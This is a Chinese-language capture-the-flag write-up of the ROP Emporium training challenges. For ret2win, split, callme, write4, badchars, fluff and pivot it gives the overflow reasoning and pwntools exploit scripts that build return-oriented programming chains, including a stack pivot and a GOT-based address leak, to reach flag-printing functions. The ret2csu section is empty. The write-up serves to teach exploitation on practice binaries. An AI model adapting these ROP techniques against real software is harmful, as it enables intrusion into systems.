# Writeup —【ROP Emporium】
題目網址:https://ropemporium.com/index.html
---
## Challenge 01: ret2win
### 題目:
1. 讓我們可以輸入
2. 結束
### 想法:
在輸入地方,由於可以輸入 56 Bytes,但它其實只有 32 Bytes,所以可以往上蓋。
把 RBP 蓋掉,RIP 蓋成我們要的位置。
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./ret2win")
shcode = b'a'*32 + b'b'*8 + p64(0x400756)
sh.sendafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 02: split
### 題目:
1. 讓我們可以輸入
2. 結束
### 想法:
跟上一題有點像,但是他的 function 裡面沒有 system("/bin/sh")。
我們可以找裡面的 string:
rabin2 -z split
然後我們可以再 GDB 裡面找到 "/bin/cat flag.txt" 的位置
pwndbg> search /bin/cat
因此,我們需要的,是一個 pop edi; ret; 的指令
※ edi 是 system 要 call 的參數位置
可以使用 ROPchain:
ROPchain --file=split --only "pop | ret" | grep rdi
就會找到一個地方
我們就可以把本來要 pop RIP 的位置放它
再上面就放 "/bin/cat flag.txt" 再放 call system 位置
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./split")
shcode = b'a'*32 + b'b'*8
shcode += p64(0x04007c3) # pop edi; ret;
shcode += p64(0x0601060) # "/bin/cat flag.txt"
shcode += p64(0x040074b) # CALL <EXTERNAL>::system
sh.sendafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 03: callme
### 題目:
1. 讓我們可以輸入
2. 結束
### 想法:
一樣例行動作,file 它、checksec它、seccomp-tools它、rabin2它
我們利用 rabin2 找裡面的 string,但是沒有什麼好用的
那用 rabin2 -i 找一下裡面 import 的東西
rabin2 -i callme
發現有 callme_one、callme_two、callme_three,並且記下它的位置
然後去看這三個的 function,發現它有三個參數,並且分別是 rdi、rsi、rdx
可以使用 ROPchain:
ROPchain --file=callme --only "pop | ret" | grep rdi
就會找到一個地方有我們要的
pop rdi; pop rsi; pop rdx; ret;
我們就可以把本來要 pop RIP 的位置放它
再上面就放題目規定的三個參數值,再放要 call 的位置
並且重複三次(因為有 callme_one、callme_two、callme_three)
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./callme")
shcode = b'a'*32 + b'b'*8
# set callme_one()
shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef) # rdi
shcode += p64(0xcafebabecafebabe) # rsi
shcode += p64(0xd00df00dd00df00d) # rdx
shcode += p64(0x400720) # call callme_one
# set callme_two()
shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef) # rdi
shcode += p64(0xcafebabecafebabe) # rsi
shcode += p64(0xd00df00dd00df00d) # rdx
shcode += p64(0x400740) # call callme_two
# set callme_three()
shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef) # rdi
shcode += p64(0xcafebabecafebabe) # rsi
shcode += p64(0xd00df00dd00df00d) # rdx
shcode += p64(0x4006f0) # callme_three
sh.sendlineafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 04: write4
### 題目:
1. 讓我們可以輸入
2. 結束
### 想法:
一樣例行動作,file 它、checksec它、seccomp-tools它、rabin2它
我們找了一下,發現它是要 print 出 flag.txt
因此,我們的目標很值觀,將參數改為 flag.txt,並且 print_file()
所以我們要做的事情就是,找可以存 flag.txt 的地方以及方法
可以用 radare2 來找符合可寫的地方
iS
我們可以在 bss 段的隨便地方配合 mov [reg], reg; ret; 來放入資料
之後,配合它的 print_file(),需要將值丟給 rdi,因此我們還需要 pop rdi; ret;
最後就 call print_file 就好了。
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./write4")
shcode = b'a'*32 + b'b'*8
shcode += p64(0x0400690) # pop r14; pop r15; ret;
shcode += p64(0x0601038) # r14 = any bss_address
shcode += b"flag.txt" # r15 = flag.txt
shcode += p64(0x0400628) # mov qword ptr [r14], r15; ret;
shcode += p64(0x0400693) # pop rdi; ret;
shcode += p64(0x0601038) # bss_address where I wrote flag.txt
shcode += p64(0x0400620) # call print_file in usefulFunction
sh.sendlineafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 05: badchars
### 題目:
1. 讓我們可以輸入
2. 檢查機制判斷
3. 結束
### 想法:
跟上一題類似,但是這題多加了檢查字串機制,讓我們無法輸入「x」、「g」、「a」、「.」。
因此,我們勢必無法輸入「flag.txt」,必須繞過它。
我們可以找到一個 xor byte ptr [r15], r14;
這給我們一個方向,可以先 XOR 字串,讓它檢查完,再 XOR 回來,值不會變動。
所以一樣,把值丟到隨便一個 bss 段,然後 call print_file。
只是中間多了一部份,就是要把字串再 XOR 回來。
重點注意:它的 XOR 只能一個 Byte 一個 Byte 去 XOR,所以要作迴圈去完成它。
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./badchars")
texts = b"flag.txt"
xor_num = 3
xor_text = xor(texts, xor_num)
shcode = b'a'*32 + b'b'*8
# write the XORed text into bss
shcode += p64(0x040069c) # pop r12; pop r13; pop r14; pop r15; ret;
shcode += xor_text # r12 = XORed_text
shcode += p64(0x0601038) # r13 = any place in bss
shcode += p64(0x00) # r14 = 0
shcode += p64(0x00) # r15 = 0
shcode += p64(0x0400634) # mov qword ptr [r13], r12; ret;
# XOR the XORed text to turn it back
for i in range(len(xor_text)):
shcode += p64(0x04006a0) # pop r14; pop r15; ret;
shcode += p64(xor_num) # r14 = 3
shcode += p64(0x0601038 + i) # r15 = the place we wrote the text into in bss
shcode += p64(0x0400628) # xor byte ptr [r15], r14; ret;
# Call print_file
shcode += p64(0x04006a3) # pop rdi; ret;
shcode += p64(0x0601038) # rdi = the place we wrote the text into in bss
shcode += p64(0x0400620) # call print_file()
sh.sendlineafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 06: fluff
### 題目:
1. 讓我們可以輸入
2. 結束
### 想法:
查一下使用的 function:
info function
可以找到一個 questionableGadget
裡面有一些根本不知道的東西,可以查一下:
1> stosb byte [rdi], al
把 al 的值存放到 rdi 指到的位置
值得注意的是,它會同時增加 rdi(下一個)
※所以如果我們想要控制 [rdi],我們就要控制 al
[解釋資源1>](https://www.felixcloutier.com/x86/stos:stosb:stosw:stosd:stosq)
2> xlat
把 al 設為 rbx + al 所指到的地方
可以想成是 mov al, [rbx + al]
※所以如果我們想要控制 al,我們就也要控制 rbx
[解釋資源2>](https://www.felixcloutier.com/x86/xlat:xlatb)
3> bextr rbx, rcx, rdx
rcx:被提取值
rdx:第 7:0 bits 為提取的起始位置
第 15:8 bits 為 Length。
rbx:存放提取結果
其實就是作偏移
※所以如果我們想要控制 rbx,我們就要控制 rcx、rdx
[解釋資源3>](https://www.felixcloutier.com/x86/bextr)
所以我們要做的事情就是找到 [ f l a g . t x t] 的個別位置,然後要減去 al 值,再減去 0x3ef2
之後每個字元都做一次,就可以依序在 rdi 的地方開始放入 flag.txt
最後,在 rdi 那個位置開始 print_file
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./fluff")
elf = ELF("./fluff")
texts = b"flag.txt"
the_al = 0xb # the first al
shcode = b'a'*32 + b'b'*8
# set the rdi point to an address in .data
shcode += p64(0x04006a3) # pop rdi
shcode += p64(0x0601028) # data address
for i in texts:
# contral rbx (bextr)
char_address = next(elf.search(i)) # find where the char is in ELF
shcode += p64(0x040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
shcode += p64(0x4000) # rdx
shcode += p64(char_address-0x3ef2-the_al) # rcx
# contral al (xlat)
shcode += p64(0x0400628) # xlat BYTE PTR ds:[rbx]; ret;
# contral [rdi] (stos)
shcode += p64(0x0400639) # stos BYTE PTR es:[rdi], al; ret;
the_al = i # set the al to the last al
shcode += p64(0x04006a3) # pop rdi
shcode += p64(0x0601028) # data address
shcode += p64(0x0400620) # print_file address
sh.sendlineafter(b"> ", shcode)
sh.interactive()
```
---
## Challenge 07: pivot
### 題目:
1. 輸出一個位置
2. 讓我們可以輸入第一次
3. 讓我們可以輸入第二次
4. 結束
### 想法:
一開始,題目會輸出一個位置,發現這個位置就是我們輸入的位置。
但是我們發現,它第一次的輸入有 256 Bytes,然而第二次只有 64 Bytes,可能不夠我們寫。
因此,我們要想辦法利用這個已知位置存放要用的 ROP-chain,然後在之後再回來這個位置。
檢查 usefulGadget:
0x00000000004009bb <+0>: pop rax
0x00000000004009bc <+1>: ret
0x00000000004009bd <+2>: xchg rsp,rax
0x00000000004009bf <+4>: ret
0x00000000004009c0 <+5>: mov rax, QWORD PTR [rax]
0x00000000004009c3 <+8>: ret
0x00000000004009c4 <+9>: add rax, rbp
0x00000000004009c7 <+12>: ret
0x00000000004009c8 <+13>: nop DWORD PTR [rax+rax*1+0x0]
我們發現有一個可以交換 rsp 和 rax 的指令,可以交換後,用來回去執行第一次輸入的東西。
※ **小知識**:
:::info
GOT[0]:這個 ELF .dynamic 段的位置
GOT[1]:這個 ELF 的 link_map 數據結構描述符位置
(編譯時為 0 )
作用:結合 .rel.plt 段的偏移量,才能真正找到這個 elf 的 .rel.plt
GOT[2]:_dl_runtime_resolve 函數的位置
(編譯時為 0 )
作用:得到真正的函數位置,寫回到對應的 GOT 表位置中。
:::
:::info
在 _dl_runtime_resolve 之後,會將真正的函數位置,寫回到 got[n](n>=3)中。
在函數被第一次調用時,才通過連接器動態解析並載入到 .got.plt 中,而這個過程稱之為延時載入或者惰性載入。
當第二次調用同一個函數的時候,就不會與第一次一樣那麼麻煩,因為 got[n] 中已經有了真實位置,直接 jmp 這個位置就可以了。
:::
因此,我們可以先 call foothold_function 來載入(或者說更新)他的 GOT 表
並且透過 pop rax、mov rax, [rax] 來把 foothold_function 的真正位置拉出來,加上與 ret2win() 的相差位置來推算出 ret2win() 的真正位置,就可以透過 call rax 來 call ret2win() 了!
### shell.py
```
from pwn import *
context.arch = "amd64"
sh = process("./pivot")
elf = ELF("./pivot")
libc = ELF("libpivot.so")
# to get the first-time-read address
sh.recvuntil(b"pivot: 0x")
now_address = sh.recvline().strip().rjust(16, b'0')
now_address = int(now_address, 16)
# use GOT to know the foothold_function function real address
foothold_function_plt = elf.plt[b"foothold_function"]
foothold_function_got_plt = elf.got[b"foothold_function"]
# to know how much we should add to find the ret2win function real address
foothold_function_sym = libc.sym[b"foothold_function"]
ret2win_sym = libc.sym[b"ret2win"]
offset = ret2win_sym - foothold_function_sym
# the first time read
# to call ret2win()
shcode_1 = p64(foothold_function_plt) # call foothold_function
shcode_1 += p64(0x04009bb) # pop rax; ret;
shcode_1 += p64(foothold_function_got_plt)
shcode_1 += p64(0x04009c0) # mov rax, QWORD PTR [rax]; ret;
shcode_1 += p64(0x04007c8) # pop rbp; ret;
shcode_1 += p64(offset) # set rbp to offset
shcode_1 += p64(0x04009c4) # add rax, rbp; ret;
shcode_1 += p64(0x04006b0) # call rax;
sh.sendlineafter(b"> ", shcode_1)
# the second time read
# to go back to the first-time-read rsp
shcode_2 = b'a'*32 + b'b'*8
shcode_2 += p64(0x04009bb) # pop rax; ret;
shcode_2 += p64(now_address)
shcode_2 += p64(0x04009bd) # xchg rsp, rax; ret;
sh.sendlineafter(b"> ", shcode_2)
sh.interactive()
```
---
## Challenge 08: ret2csu
### 題目:
### 想法:
### shell.py
```
```
---